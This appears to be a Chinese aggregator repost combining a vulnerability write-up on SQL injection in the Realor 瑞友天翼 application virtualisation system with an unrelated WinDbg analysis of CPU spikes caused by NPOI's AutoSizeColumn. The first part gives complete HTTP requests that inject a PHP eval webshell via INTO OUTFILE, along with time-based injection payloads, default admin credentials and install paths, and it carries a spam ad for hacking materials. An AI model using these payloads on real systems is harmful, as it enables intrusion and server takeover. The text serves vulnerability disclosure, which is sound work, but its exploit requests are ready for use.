记一次某应用虚拟化系统远程代码执行
Posted 蚁景科技
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次某应用虚拟化系统远程代码执行相关的知识,希望对你有一定的参考价值。
漏洞简介
微步在线漏洞团队通过“X漏洞奖励计划”获取到瑞友天翼应用虚拟化系统远程代码执行漏洞情报(0day),攻击者可以通过该漏洞执行任意代码,导致系统被攻击与控制。瑞友天翼应用虚拟化系统是基于服务器计算架构的应用虚拟化平台,它将用户各种应用软件集中部署到瑞友天翼服务集群,客户端通过WEB即可访问经服务器上授权的应用软件,实现集中应用、远程接入、协同办公等。
漏洞是因为未授权接口在接收参数时没有进行处理校验,存在 SQL 注入漏洞,又因为集成环境中的 mysql 拥有写入文件的权限,所以写入 webshell 最终导致代码执行。
影响版本
5.x <= 瑞友天翼应用虚拟化系统(GWT System) <= 7.0.2.
目前相关漏洞已修复。
环境搭建
从师傅处拷到的安装包 Gwt7.0.2.1.exe 默认模式安装,最后
在线注册获取试用 http://mop.realor.cn/TrialReg.aspx
注册成功后
登录页面 默认账号密码是 Admin/123
默认路径在 C:/Program Files (x86)/RealFriend/Rap Server/WebRoot
默认数据库配置地址 C:\\Program Files (x86)\\RealFriend\\Rap Server\\data\\Config\\CasDbCnn.dat
账号密码需要将其中的 # 替换为 = 并进行 base64 解码
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
漏洞复现与分析
通过 http://192.168.222.148/RAPAgent.XGI?CMD=GetRegInfo
查看版本信息
为了方便查看后端实际执行的完整sql,我们可以使用框架提供的 getLastSql() 方法来 获取最近一次执行的SQL语句
注入一IndexController.class.phpdologin
webroot/casweb/Home/Controller/IndexController.class.php:dologin
我们看到其中的 SQL 语句以及对该函数的请求路由
http://www.casweb.cn.x/index.php?s=/Index/dologin/name/admin/pwd/c4ca4238a0b923820dcc509a6f75849b
构造数据包 并打印出相对应的 sql 语句
因为默认没有开启验证码,所以可以直接到达 SQL 语句处
因为搭建环境时,使用了集成好的mysql 环境,拥有 DBA 的权限,所以可以在文件夹任意位置写入内容
show global variables like \'%secure%\';
secure_file_priv=\'\' #允许写入到任何文件夹
利用报错信息得到项目的绝对路径
构造payload
POST /index.php?s=/Index/dologin/name HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 221
name=1\')+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, \'<?php eval($_REQUEST["cmd"]);?>\' into outfile \'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/dologin.php\'#
查询管理员用户的账户和密码
注入二__ConsoleExternalUploadApi.XGI
webroot/ConsoleExternalUploadApi.XGI
获取到三个参数,当三个参数都不为空时,调用 getfarminfo
来进行处理
webroot/Function.XGI
webroot/Common.XGI
对 key 值没有做任何校验,所以可以构造 payload 实现注入
POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
initParams=1&sign=2&key=FarmName\'and sleep(5)#
修改了代码 打印出了 SQL 命令
构造实现注入写入文件
POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 170
Content-Type: application/x-www-form-urlencoded
initParams=1&sign=1&key=1\'union select \'<?php eval($_REQUEST["cmd"]);?>\' into outfile \'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/ConsoleExternalUploadApi.php\'#
注入三ConsoleExternalUploadApi.XGIuploadAuthorizeKeyFile
POST /ConsoleExternalUploadApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
initParams=command_uploadAuthorizeKeyFile__user_admin\'and+sleep(5)#__pwd_1&key=inner&sign=d3adb9869bd6a377fa452930d920fd10
注入四ConsoleExternalApi.XGIcreateUser
之后的漏洞大抵上都可以描述为同一个漏洞,只是因为参数的不同,传入到不同的位置,在这里仅仅用一个来举例,之后的不再详细进行分析
我们从 ConsoleExternalApi.XGI 进行分析
通过 REQUEST 方法获取到参数
通过接下来的这段代码,我们可以得到如下结论,当 $key 的值为 inner
时,$keyVal 是一个固定值,$sign 的值是 md5($initparams . $keyVal);
$initparams 中需要包含 __
来分割数据,得到每个参数
然后再通过 _
分割 得到每个参数所对应的值 也就是当传入的值是 a_1__b_2 最后得到的也就是 a=1&b=2
继续向下分析
当传入的 cmd 的值是 createUser
时,进入相对应的分支,构造相对应的语句就可以实现注入。
POST /ConsoleExternalApi.XGI?initParams=command_createUser__user_admin__pwd_1&key=inner&sign=bd58378906794858b1f57eb272e5d84f HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 46
Content-Type: application/json
"account":"1\'or sleep(5)#",
"userPwd":"1"
注入五 ConsoleExternalApi.XGIgetUserDetailByAccount
POST /ConsoleExternalApi.XGI HTTP/1.1
Host: 192.168.222.148
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
initParams=command_getUserDetailByAccount__user_admin__account_1\' or sleep(5) and \'1&key=inner&sign=e24b8206a168347821a2f10aede99058
更多靶场实验练习、网安学习资料,请点击这里>>
记一次某制造业ERP系统 CPU打爆事故分析
一:背景
1.讲故事
前些天有位朋友微信找到我,说他的程序出现了CPU阶段性爆高,过了一会就下去了,咨询下这个爆高阶段程序内部到底发生了什么?画个图大概是下面这样,你懂的。
按经验来说,这种情况一般是程序在做 CPU 密集型运算
,所以让朋友在 CPU 高的时候间隔 5~10s
抓两个 dump 下来,然后就是用 WinDbg 分析。
二:WinDbg 分析
1. CPU 真的爆高吗
耳听为虚,眼见为实,我们用 !tp
观察下当前的CPU情况。
0:000> !tp
CPU utilization: 100%
Worker Thread: Total: 16 Running: 2 Idle: 14 MaxLimit: 32767 MinLimit: 2
Work Request in Queue: 0
--------------------------------------
Number of Timers: 2
--------------------------------------
Completion Port Thread:Total: 2 Free: 2 MaxFree: 4 CurrentLimit: 2 MaxLimit: 1000 MinLimit: 2
果不其然,CPU直接打满,接下来就是看看当前有几个CPU逻辑核,这么不够扛。。。
0:000> !cpuid
CP F/M/S Manufacturer MHz
0 6,106,6 <unavailable> 2700
1 6,106,6 <unavailable> 2700
我去,一个生产环境居然只有两个核。。。果然这大环境下公司活着都不够滋润。
2. 到底是谁引发的
既然是阶段性爆高,最简单粗暴的就是看下各个线程栈,使用 ~*e !clrstack
命令即可,因为只有两核,所以理论上两个线程就可以把 CPU 干趴下,扫了一下线程栈,果然有对号入座的,输出信息如下:
0:000> ~*e !clrstack
OS Thread Id: 0x146c (42)
Child SP IP Call Site
00000089abcfca18 00007ffc4baffdb4 [InlinedCallFrame: 00000089abcfca18] System.Drawing.SafeNativeMethods+Gdip.IntGdipDisposeImage(System.Runtime.InteropServices.HandleRef)
00000089abcfca18 00007ffbdd4a7a48 [InlinedCallFrame: 00000089abcfca18] System.Drawing.SafeNativeMethods+Gdip.IntGdipDisposeImage(System.Runtime.InteropServices.HandleRef)
00000089abcfc9f0 00007ffbdd4a7a48 DomainNeutralILStubClass.IL_STUB_PInvoke(System.Runtime.InteropServices.HandleRef)
00000089abcfcaa0 00007ffbdd52ad0a System.Drawing.SafeNativeMethods+Gdip.GdipDisposeImage(System.Runtime.InteropServices.HandleRef)
00000089abcfcae0 00007ffbdd52ac3f System.Drawing.Image.Dispose(Boolean)
00000089abcfcb30 00007ffbdd556b5a System.Drawing.Image.Dispose()
00000089abcfcb60 00007ffbe39397c7 NPOI.SS.Util.SheetUtil.GetCellWidth(NPOI.SS.UserModel.ICell, Int32, NPOI.SS.UserModel.DataFormatter, Boolean)
00000089abcfcc00 00007ffbe3939654 NPOI.SS.Util.SheetUtil.GetCellWidth(NPOI.SS.UserModel.ICell, Int32, NPOI.SS.UserModel.DataFormatter, Boolean)
00000089abcfcd30 00007ffbe39382e1 NPOI.SS.Util.SheetUtil.GetColumnWidth(NPOI.SS.UserModel.ISheet, Int32, Boolean)
00000089abcfcdc0 00007ffbe39380bc NPOI.XSSF.UserModel.XSSFSheet.AutoSizeColumn(Int32, Boolean)
...
OS Thread Id: 0x1c8c (46)
Child SP IP Call Site
00000089ad43dba8 00007ffc4baffdb4 [InlinedCallFrame: 00000089ad43dba8] System.Drawing.SafeNativeMethods+Gdip.IntGdipDisposeImage(System.Runtime.InteropServices.HandleRef)
00000089ad43dba8 00007ffbdd4a7a48 [InlinedCallFrame: 00000089ad43dba8] System.Drawing.SafeNativeMethods+Gdip.IntGdipDisposeImage(System.Runtime.InteropServices.HandleRef)
00000089ad43db80 00007ffbdd4a7a48 DomainNeutralILStubClass.IL_STUB_PInvoke(System.Runtime.InteropServices.HandleRef)
00000089ad43dc30 00007ffbdd52ad0a System.Drawing.SafeNativeMethods+Gdip.GdipDisposeImage(System.Runtime.InteropServices.HandleRef)
00000089ad43dc70 00007ffbdd52ac3f System.Drawing.Image.Dispose(Boolean)
00000089ad43dcc0 00007ffbdd556b5a System.Drawing.Image.Dispose()
00000089ad43dcf0 00007ffbe39397c7 NPOI.SS.Util.SheetUtil.GetCellWidth(NPOI.SS.UserModel.ICell, Int32, NPOI.SS.UserModel.DataFormatter, Boolean)
00000089ad43dd90 00007ffbe3939654 NPOI.SS.Util.SheetUtil.GetCellWidth(NPOI.SS.UserModel.ICell, Int32, NPOI.SS.UserModel.DataFormatter, Boolean)
00000089ad43dec0 00007ffbe39382e1 NPOI.SS.Util.SheetUtil.GetColumnWidth(NPOI.SS.UserModel.ISheet, Int32, Boolean)
00000089ad43df50 00007ffbe39380bc NPOI.XSSF.UserModel.XSSFSheet.AutoSizeColumn(Int32, Boolean)
...
00000089ad43e460 00007ffbe115b193 System.Web.Mvc.ControllerActionInvoker.InvokeActionMethod(System.Web.Mvc.ControllerContext, System.Web.Mvc.ActionDescriptor, System.Collections.Generic.IDictionary`2<System.String,System.Object>)
...
00000089abcfd310 00007ffbe115b147 System.Web.Mvc.Async.AsyncControllerActionInvoker+c.b__9_0(System.IAsyncResult, ActionInvocation)
...
有些朋友要问了,你是怎么确定就是这两个线程呢?其实有两个方法可以验证。
使用 !whttp 看http请求
既然是 web 请求,自然就可以拿到里面的 HttpContext
,这里面记录着当前请求的运行时间,这个信息非常重要,截图如下:
从图中可以看到,有两个 xxxx/Export
请求运行时间非常高,一个是 4min30s
,一个是 50s
,刚好落在了 42
和 46
号线程上。
借助第二个 dump 文件
这就是为什么要抓二个dump的原因了,因为另一个dump会给我们相当有价值的对比信息,同样使用 !whttp
验证。
接下来我们就要调研为什么这两个线程会运行这么久?
3. 为什么会运行这么久
既然是 Export 导出文件,第一时间就应该想到是不是和数据量有关?通过线程栈上的方法,发现是一个List
集合,接下来用 !dso
命令找出来看看。
0:042> !dso
OS Thread Id: 0x146c (42)
RSP/REG Object Name
00000089ABCFCAC8 0000020683b7c128 System.Drawing.Bitmap
00000089ABCFCAF8 0000020683b7c158 System.Drawing.Graphics
00000089ABCFCB10 0000020683b7c128 System.Drawing.Bitmap
00000089ABCFCB30 0000020683b7c128 System.Drawing.Bitmap
00000089ABCFCB40 0000020683b7c4d0 NPOI.XSSF.UserModel.XSSFCellStyle
00000089ABCFCB50 0000020683b7c198 NPOI.XSSF.UserModel.XSSFRichTextString
00000089ABCFCB68 0000020683b7c198 NPOI.XSSF.UserModel.XSSFRichTextString
00000089ABCFCBC0 0000020683b7c198 NPOI.XSSF.UserModel.XSSFRichTextString
00000089ABCFCBC8 0000020683b7c2e8 System.String[]
00000089ABCFCBD0 0000020683b7c360 System.Drawing.Font
00000089ABCFCDE8 0000020666501240 System.Collections.Generic.List`1[[System.Collections.Generic.List`1[[System.Object, mscorlib]], mscorlib]]
...
0:042> !do 0000020666501240
Name: System.Collections.Generic.List`1[[System.Collections.Generic.List`1[[System.Object, mscorlib]], mscorlib]]
MethodTable: 00007ffbde342440
EEClass: 00007ffc36fc2af8
Size: 40(0x28) bytes
File: C:\\Windows\\Microsoft.Net\\assembly\\GAC_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\mscorlib.dll
Fields:
MT Field Offset Type VT Attr Value Name
00007ffc36e4e250 40018a0 8 System.__Canon[] 0 instance 00000207658592d8 _items
00007ffc36e385a0 40018a1 18 System.Int32 1 instance 44906 _size
00007ffc36e385a0 40018a2 1c System.Int32 1 instance 44906 _version
00007ffc36e35dd8 40018a3 10 System.Object 0 instance 0000000000000000 _syncRoot
00007ffc36e4e250 40018a4 0 System.__Canon[] 0 shared static _emptyArray
>> Domain:Value dynamic statics NYI 0000020563eec3c0:NotInit dynamic statics NYI 0000020795f5b9a0:NotInit <<
可以清楚的看到,这个list高达 4.5w
,这个量级说多也不多,说少也不少,言外之意就是代码写的也不好不到哪里去。
4. 用户代码要承担责任吗
要判断用户代码是不是很烂,除了白盒看代码,也可以黑盒观察这几个线程栈,可以发现两个dump 显示的栈信息都和 AutoSizeColumn
方法有关。
00000089abcfcae0 00007ffbdd52ac3f System.Drawing.Image.Dispose(Boolean)
00000089abcfcb30 00007ffbdd556b5a System.Drawing.Image.Dispose()
00000089abcfcb60 00007ffbe39397c7 NPOI.SS.Util.SheetUtil.GetCellWidth(NPOI.SS.UserModel.ICell, Int32, NPOI.SS.UserModel.DataFormatter, Boolean)
00000089abcfcc00 00007ffbe3939654 NPOI.SS.Util.SheetUtil.GetCellWidth(NPOI.SS.UserModel.ICell, Int32, NPOI.SS.UserModel.DataFormatter, Boolean)
00000089abcfcd30 00007ffbe39382e1 NPOI.SS.Util.SheetUtil.GetColumnWidth(NPOI.SS.UserModel.ISheet, Int32, Boolean)
00000089abcfcdc0 00007ffbe39380bc NPOI.XSSF.UserModel.XSSFSheet.AutoSizeColumn(Int32, Boolean)
从名字看是 NOPI 提供的自动调整列宽
的方法,那是不是这个方法的单次性能很慢呢?要寻找答案,只能求助百度啦。。。
图一
图二
到这里我们基本就搞清楚了,导致 reqeust 高达 5min + 的诱因大概有三个。
数据量大
AutoSizeColumn 速度慢
代码上的其他因素
跟朋友沟通后,朋友说这块请求中的 AutoSizeColumn
方法忘了改掉。
三:总结
这个 Dump 分析起来其实非常简单,思路也比较明朗,重点还是提醒一下大家慎用 NPOI 的 AutoSizeColumn
方法,弄不好就得出个生产事故!
以上是关于记一次某应用虚拟化系统远程代码执行的主要内容,如果未能解决你的问题,请参考以下文章